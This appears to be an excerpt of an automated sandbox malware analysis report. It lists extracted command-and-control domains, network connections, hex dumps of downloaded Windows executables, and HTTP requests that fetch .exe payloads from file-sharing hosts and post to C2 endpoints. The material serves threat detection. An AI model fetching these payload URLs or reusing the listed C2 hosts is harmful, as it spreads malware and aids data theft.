                          Source: Malware configuration extractorURLs: secretionsuitcasenioise.shop
                          Source: Malware configuration extractorURLs: gemcreedarticulateod.shop
                          Source: Malware configuration extractorURLs: exitassumebangpastcone.shop
                          Source: Malware configuration extractorURLs: sofahuntingslidedine.shop
                          Source: Malware configuration extractorURLs: culturesketchfinanciall.shop
                          Source: Malware configuration extractorURLs: triangleseasonbenchwj.shop
                          Source: Malware configuration extractorURLs: modestessayevenmilwek.shop
                          Source: Malware configuration extractorURLs: liabilityarrangemenyit.shop
                          Source: Malware configuration extractorURLs: claimconcessionrebe.shop
                          Source: Malware configuration extractorURLs: secretionsuitcasenioise.shop
                          Source: Malware configuration extractorURLs: gemcreedarticulateod.shop
                          Source: Malware configuration extractorURLs: exitassumebangpastcone.shop
                          Source: Malware configuration extractorURLs: http://trad-einmyus.com/index.php
                          Source: Malware configuration extractorURLs: http://tradein-myus.com/index.php
                          Source: Malware configuration extractorURLs: http://trade-inmyus.com/index.php
                          Source: Malware configuration extractorURLs: http://habrafa.com/test1/get.php
                          Source: unknownNetwork traffic detected: IP country count 10
                          Source: global trafficTCP traffic: 192.168.2.5:49767 -> 88.198.108.242:9000
                          Source: global trafficTCP traffic: 192.168.2.5:49815 -> 193.233.132.32:36599
                          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.20.2Date: Thu, 08 Feb 2024 19:17:18 GMTContent-Type: application/x-msdos-programContent-Length: 174592Connection: closeLast-Modified: Thu, 08 Feb 2024 19:17:02 GMTETag: "2aa00-610e3a7fcf9a7"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 a1 83 dd b2 c0 ed 8e b2 c0 ed 8e b2 c0 ed 8e dd b6 46 8e a7 c0 ed 8e dd b6 73 8e a1 c0 ed 8e dd b6 47 8e ea c0 ed 8e bb b8 7e 8e b7 c0 ed 8e b2 c0 ec 8e d1 c0 ed 8e dd b6 42 8e b3 c0 ed 8e dd b6 77 8e b3 c0 ed 8e dd b6 70 8e b3 c0 ed 8e 52 69 63 68 b2 c0 ed 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 6b 05 61 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 26 02 00 00 34 7b 02 00 00 00 00 ac 14 00 00 00 10 00 00 00 40 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 7d 02 00 04 00 00 cb bc 02 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 68 02 00 3c 00 00 00 00 50 7d 02 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 65 02 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b2 25 02 00 00 10 00 00 00 26 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 31 00 00 00 40 02 00 00 32 00 00 00 2a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 85 7a 02 00 80 02 00 00 1e 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 76 61 6b 65 67 00 00 7c 00 00 00 00 10 7d 02 00 02 00 00 00 7a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 cd 09 00 00 00 20 7d 02 00 0a 00 00 00 7c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 66 69 67 00 00 00 00 0c 00 00 00 00 30 7d 02 00 02 00 00 00 86 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 61 74 69 78 61 00 00 04 00 00 00 40 7d 02 00 04 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 30 1c 00 00 00 50 7d 02 00 1e 00 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
                          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 08 Feb 2024 19:17:30 GMTContent-Type: application/octet-streamContent-Length: 715776Last-Modified: Thu, 08 Feb 2024 19:10:02 GMTConnection: closeETag: "65c5270a-aec00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 f6 a1 83 dd b2 c0 ed 8e b2 c0 ed 8e b2 c0 ed 8e dd b6 46 8e a7 c0 ed 8e dd b6 73 8e a1 c0 ed 8e dd b6 47 8e ea c0 ed 8e bb b8 7e 8e b7 c0 ed 8e b2 c0 ec 8e d1 c0 ed 8e dd b6 42 8e b3 c0 ed 8e dd b6 77 8e b3 c0 ed 8e dd b6 70 8e b3 c0 ed 8e 52 69 63 68 b2 c0 ed 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 45 fa c2 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 68 0a 00 00 34 7b 02 00 00 00 00 ac 14 00 00 00 10 00 00 00 80 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 85 02 00 04 00 00 93 75 0b 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 a8 0a 00 3c 00 00 00 00 90 85 02 30 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 a5 0a 00 18 00 00 00 10 a5 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 80 0a 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 67 0a 00 00 10 00 00 00 68 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 98 31 00 00 00 80 0a 00 00 32 00 00 00 6c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 80 85 7a 02 00 c0 0a 00 00 1e 00 00 00 9e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 65 6d 00 00 00 00 7c 00 00 00 00 50 85 02 00 02 00 00 00 bc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 cd 09 00 00 00 60 85 02 00 0a 00 00 00 be 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 79 6f 6e 69 73 75 00 0c 00 00 00 00 70 85 02 00 02 00 00 00 c8 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 66 61 6c 65 6c 75 00 00 04 00 00 00 80 85 02 00 04 00 00 00 ca 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 30 1c 00 00 00 90 85 02 00 1e 00 00 00 ce 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 08 Feb 2024 19:17:38 GMTContent-Type: application/octet-streamContent-Length: 340480Last-Modified: Mon, 05 Feb 2024 14:33:40 GMTConnection: closeETag: "65c0f1c4-53200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 7a 4a d3 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 d4 02 00 00 4c 03 00 00 00 00 00 af 25 00 00 00 10 00 00 00 f0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 30 06 00 00 04 00 00 d7 a3 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 43 03 00 64 00 00 00 00 80 04 00 76 a9 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 f1 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 3c 03 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 02 00 94 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 86 d2 02 00 00 10 00 00 00 d4 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 aa 5c 00 00 00 f0 02 00 00 5e 00 00 00 d8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 64 25 01 00 00 50 03 00 00 52 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 76 a9 01 00 00 80 04 00 00 aa 01 00 00 88 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                          Source: global trafficHTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 08 Feb 2024 19:17:49 GMTServer: ApacheLast-Modified: Sat, 03 Feb 2024 12:21:54 GMTETag: "5fbcc0-610794624cc4f"Accept-Ranges: bytesContent-Length: 6274240Cache-Control: max-age=31536000, publicExpires: Fri, 07 Feb 2025 19:17:49 GMTVary: Accept-EncodingReferrer-Policy: no-referrer-when-downgradePragma: publicKeep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 0a 00 15 0a b8 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 6e 05 00 00 02 06 00 00 00 00 00 d3 41 ae 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 b5 00 00 04 00 00 9a e2 5f 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 24 a6 6d 00 8c 00 00 00 00 d0 b2 00 ff d0 02 00 00 00 00 00 00 00 00 00 00 a4 5f 00 c0 18 00 00 00 b0 b2 00 60 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 55 00 fc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 9e 6d 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 0e 3f 00 00 00 80 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 54 e1 01 00 00 c0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 74 74 c5 92 c3 96 a6 8e 18 00 00 b0 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 70 74 74 c5 92 c3 96 b0 00 1e 00 00 40 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e c3 98 c3 b5 5b e2 80 e4 95 17 00 00 50 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e c3 98 c3 b5 5b e2 80 a0 03 00 00 00 f0 55 00 00 04 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e c3 98 c3 b5 5b e2 80 90 ad 5c 00 00 00 56 00 00 ae 5c 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 65 6c 6f 63 00 00 60 1a 00 00 00 b0 b2 00 00 1c 00 00 00 b6 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 ff d0 02 00 00 d0 b2 00 00 d2 02 00 00 d2 5c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZx@
                          Source: global trafficHTTP traffic detected: GET /newagev HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: global trafficHTTP traffic detected: GET /get/65c4e505302872e0f3bbb578 HTTP/1.1Host: mbappeportal.shopConnection: close
                          Source: Joe Sandbox ViewIP Address: 104.21.83.220 104.21.83.220
                          Source: Joe Sandbox ViewIP Address: 172.67.152.52 172.67.152.52
                          Source: Joe Sandbox ViewIP Address: 193.233.132.32 193.233.132.32
                          Source: Joe Sandbox ViewIP Address: 149.154.167.99 149.154.167.99
                          Source: Joe Sandbox ViewIP Address: 149.154.167.99 149.154.167.99
                          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                          Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
                          Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
                          Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: resergvearyinitiani.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gemcreedarticulateod.shop
                          Source: global trafficHTTP traffic detected: GET /111.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mahta-netwotk.click
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: secretionsuitcasenioise.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: claimconcessionrebe.shop
                          Source: global trafficHTTP traffic detected: GET /Earco8.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: receitasdepascoa.com
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: liabilityarrangemenyit.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=2BzldhHFwpA098OEuJKiBcycgp773xlsSNm14LgkHcA-1707419885-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 61Host: liabilityarrangemenyit.shop
                          Source: global trafficHTTP traffic detected: GET /get/iG8BdvMYF0/Nhnsunywskn.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
                          Source: global trafficHTTP traffic detected: GET /29asE5 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: yip.su
                          Source: global trafficHTTP traffic detected: GET /get/sUsSLI6uB1/6edofzV2z3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: transfer.sh
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: gemcreedarticulateod.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: secretionsuitcasenioise.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: claimconcessionrebe.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: liabilityarrangemenyit.shop
                          Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=_mmTzTKLOX2u2LextMCeibDcosqzUToMi3JQNL.4C10-1707419930-0-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: liabilityarrangemenyit.shop
                          Source: global trafficHTTP traffic detected: GET /29MkE5 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: yip.su
                          Source: global trafficHTTP traffic detected: GET /dl/4175538/sig.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: tmpfiles.org
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://wwpoemgkaexpe.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 326Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gljvsiudeeau.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vyljhtiquiixne.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 306Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://eqmkeamlamwe.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: GET /downloads/toolspub1.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: galandskiyher5.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://vcuyqwosctxpct.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 197Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://jklybocgmuql.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 276Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://erckiyttkvn.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 189Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gqrtwtgxjlqjalx.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://fssoqbnymqgaqwvj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://gcunoloxmera.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 158Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yfkhgidybuux.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://yevpngylpyogtcho.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 195Host: trad-einmyus.com
                          Source: global trafficHTTP traffic detected: GET /dl/buildz.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: brusuax.com
                          Source: global trafficHTTP traffic detected: POST /index.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://atcqmuvymvoahqf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 291Host: trad-einmyus.com
